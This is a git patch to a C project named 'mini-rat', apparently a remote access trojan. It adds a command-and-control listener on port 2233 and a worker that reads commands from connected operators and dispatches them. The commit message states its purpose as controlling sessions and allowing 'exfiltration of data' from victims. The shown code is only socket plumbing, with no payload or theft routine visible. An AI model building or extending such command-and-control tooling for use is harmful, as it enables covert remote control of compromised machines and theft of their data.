From f5b7f8b3f466fdf7acb57d9bc8fcc12c65080f67 Mon Sep 17 00:00:00 2001 From: Danny Holman Date: Fri, 29 Sep 2023 09:24:21 -0500 Subject: server: implement remote control connections Implement a series of functions that facilitate remote control connections, i.e. connections that control session information, allow exfiltration of data, etc. from the command server. Signed-off-by: Danny Holman --- server/src/mini-rat.c | 15 +++++++-------- server/src/server.c | 50 +++++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 56 insertions(+), 9 deletions(-) diff --git a/server/src/mini-rat.c b/server/src/mini-rat.c index a0ce6fb..6112d71 100644 --- a/server/src/mini-rat.c +++ b/server/src/mini-rat.c @@ -181,16 +181,15 @@ int main(int argc, char* argv[]) { pthread_create(&listen_thread, NULL, listener, (void*)&port); pthread_detach(listen_thread); - size_t line_sz = 1024; - char *line = malloc(line_sz); - while (running) { - printf("mini-rat> "); - getline(&line, &line_sz, stdin); - parse_cmd(line); - } + uint16_t cport = 2233; + pthread_t clisten_thread; + pthread_create(&clisten_thread, NULL, control_listener, (void*)&cport); + pthread_detach(clisten_thread); + + while (running); - free(line); log_msg(LOG_INFO, "Mini-RAT shutting down\n"); pthread_cancel(listen_thread); + pthread_cancel(clisten_thread); return 0; } diff --git a/server/src/server.c b/server/src/server.c index 4ed8af9..9a7fe62 100644 --- a/server/src/server.c +++ b/server/src/server.c @@ -3,7 +3,55 @@ #include #include -pthread_mutex_t sock_mutex; +void* control_listener(void *port) { + uint16_t port_num = *(int*)port; + int server_sock = socket(PF_INET, SOCK_STREAM, 0); + struct sockaddr_in client_name; + unsigned int client_name_len = sizeof(client_name); + + struct sockaddr_in name; + memset(&name, 0, sizeof(name)); + name.sin_family = AF_INET; + name.sin_port = htons(port_num); + name.sin_addr.s_addr = htons(INADDR_ANY); + if (bind(server_sock, (struct sockaddr*)&name, sizeof(name)) < 0) { + log_msg(LOG_SEVERE, "Cannot bind to port %d\n", port_num); + return NULL; + } + listen(server_sock, 5); + log_msg(LOG_INFO, "Control listener running on port %d\n", port_num); + + char *ip = NULL; + int client_sock = 0; + pthread_t newthread; + while ((client_sock = accept(server_sock, (struct sockaddr*)&client_name, &client_name_len))) { + ip = inet_ntoa(client_name.sin_addr); + log_msg(LOG_INFO, "New control connection opened from %s\n", ip); + pthread_create(&newthread, NULL, control_worker, (void*)&client_sock); + pthread_detach(newthread); + } + + close_logfile(); + close(server_sock); + return 0; +} + +void* control_worker(void *sock_desc) { + int sock = *(int*)sock_desc; + + char buffer[4096]; + dprintf(sock, "mini-rat> "); + while (recv(sock, buffer, 4096, 0) > 0) { + if (strncmp(buffer, "exit", 4) == 0) + break; + parse_cmd(sock, buffer); + dprintf(sock, "mini-rat> "); + memset(buffer, 0, 4096); + } + + close(sock); + return 0; +} void* listener(void *port) { uint16_t port_num = *(int*)port; -- cgit v1.2.3